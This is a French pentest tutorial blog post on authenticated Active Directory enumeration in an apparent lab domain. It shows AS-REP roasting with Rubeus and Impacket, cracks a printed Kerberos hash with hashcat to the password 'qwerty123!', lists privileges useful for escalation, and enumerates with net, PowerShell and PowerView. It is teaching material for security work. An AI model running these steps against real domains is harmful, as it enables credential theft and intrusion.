AD - Enumération avec authentification

AD : Enumération avec authentification

AS-REP Roasting

Pour faire de l’AS-REP Roasting nous pouvons utiliser 2 outils :

  • Rubeus
  • Impacket

Nous allons voir ces 2 outils. Puis une partie brute-force avec hashcat.

Enumération

Avec cette partie de l’exploitation, nous allons voir comment recupérer les mots de passe hashé des comptes qui ont la pré-authéntification de désactivé.

Rubeus

Comme vu dans le poste Attaquer Kerberos nous devons avoir accès à une machine et y avoir le binaire de Rubeus dessus.

1
Rubeus.exe asrepsoasting

Impacket

Tout pareil nous avons vu cette attaque dans le poste Attaquer Kerberos j’explique plus précisément les commande là bas.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
GetNPUsers.py kiron.loc/ -dc-ip 10.211.12.10 -usersfile users.txt -format hashcat -outputfile hashes.txt -no-pass
Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User sshd doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User gerald.burgess doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User nigel.parsons doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User guy.smith doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jeremy.booth doesn't have UF_DONT_REQUIRE_PREAUTH set
[...]

Une fois le(s) hash récupéré, nous pourrons tenter de le(s) cracker/brute-force.

Brute-Force

Nous allons tenter de Brute-force le hash récupéré précédemment, pour ça, nous pouvons utiliser la binaire hashcat :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
hashcat -m 18200 hashes.txt /opt/lists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 3.1+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, POCL_DEBUG) - Platform #1 [The pocl project]
==========================================================================================================================================
* Device #1: pthread--0x000, 2941/5947 MB (1024 MB allocatable), 10MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 2 MB


Dictionary cache built:
* Filename..: /opt/lists/rockyou.txt
* Passwords.: 14344391
* Bytes.....: 139921497
* Keyspace..: 14344384
* Runtime...: 0 secs

$krb5asrep$23$asrepuser@KIRON.LOC:bed70468ecb6364309b6405a0d3ba84c$00421aeeb4b3b88dcca6a8f96c92e9e8ab870e757fbc9a8807e3be1324820f5b938cbe15cf708c8ded8d56339ef1ceed4bf8c47ed2154ff765ac45391789aebc926b70f65b27ecaf03c0940d0e4206297fb49e68caa7d43dcd5606a30f4c55ef05e4b78c78a4e7f57cad8e35c477ff49f222da02fe5228ccbab1b1a5574f2ba55c8319c96178bbccc1de2b3cf0dca4d7d323ac92e32d31e5334bcd5e4e8410840416da78441fa675c33cd459c02b9775aae29f6f6ca30f7b4e27fd1f893a037c6eaf87c644f8f8f296224d76ef023d5cad55acfe25ae6bc2070b0288bf47036db3d105e3d618a8785f91352850a5:qwerty123!

Ici nous pouvons voir que l’utilisateur asrepuserdu domaine KIRON.LOC à le mot de passe qwerty123!.

Enumération manuel

L’énumération manuel peut nous permettre d’avoir énormément d’info sur l’environnement dans lequel nous nous trouvons. Pour cette exemple je vais continuer avec l’utilisateur pwn :

Whoami

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
C:\Users\asrepuser1>whoami /all

USER INFORMATION
----------------

User Name            SID
==================== ============================================
kiron\asrepuser S-1-5-21-1966530601-3185510712-10604624-1641


GROUP INFORMATION
-----------------

Group Name                                 Type             SID          Attributes
========================================== ================ ============ ==================================================
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1     Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
[...]

Ici une partie qui nous intéresse principalement c’est les PRIVILEGES

Privilèges

Privilège Description
SeImpersonatePrivilege Permet à un processus d’emprunter l’identité (contexte de sécurité) d’un autre utilisateur après authentification.
SeAssignPrimaryTokenPrivilege Autorise un processus à assigner le jeton d’accès principal (primary token) d’un autre utilisateur à un nouveau processus.
SeBackupPrivilege Permet à un utilisateur de lire n’importe quel fichier sur le système, en ignorant les permissions NTFS.
SeRestorePrivilege Donne le droit d’écrire dans n’importe quel fichier ou clé de registre, en contournant les permissions.
SeDebugPrivilege Permet d’attacher un débogueur à n’importe quel processus, y compris ceux exécutés avec des privilèges élevés (ex. : lsass.exe).

Invite de commande

Mise à part cette commande whoami nous avons pas mal d’autres utilitaires comme net qui va nous permettre de lister les utilisateurs, groupes, partage de fichier disponible sur le réseau :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# Connaître les utilisateurs du domaine : 
net user /domain

# Avoir des infos sur un utilisateur précis : 
net user <user> /domain

# Avoir des infos sur les groupes : 
net group /domain

# Avoir des infos sur un groupe précis : 
net group "Tier 1 Admins" /domain

[...]

Powershell

Nous avons le module PowerShell ActiveDirectory :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# Installation du module
Import-Module ActiveDirectory

# Enumérer les utilisateurs du domaine
Get-ADUser -Filter * 

# Infos concernant un utilisateur
Get-ADUser -Identity <user>

# Avoir les groupes de l'AD 
Get-ADGroup -Filter * | Select Name

# Avoir les utilisateurs d'un groupe
Get-ADGroupMember -Identity "<group>"

# Avoir les politiques de mots de passe 
Get-ADDefaultDomainPasswordPolicy

Avec powershell nous avons un Framework externe pour faciliter l’énumération manuel qui s’appel PowerSploit :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# Installation
git clone https://github.com/PowerShellMafia/PowerSploit.git
cd Recon
Import-Module PowerView.ps1

# Utilisation
# Enumération des utilisateurs du domaine
Get-DomainUser

# Chercher un 'type' d'utilisateur par son nom
Get-DomainUser *admin*

# Enumération des groupes du domaine
Get-DomainGroup

# Chercher un 'type' de groupe par son nom
Get-DomainGroup *admin*

# Avoir les PC du domaine
Get-DomainComputer

#####
# Avec ce framework nous pouvons également lister les utilisateurs admins avec : 
Get-DomainUser -AdminCount

# Avoir les comptes contenant un SPN
Get-DomainUser
Généré avec Hugo
Thème Stack conçu par Jimmy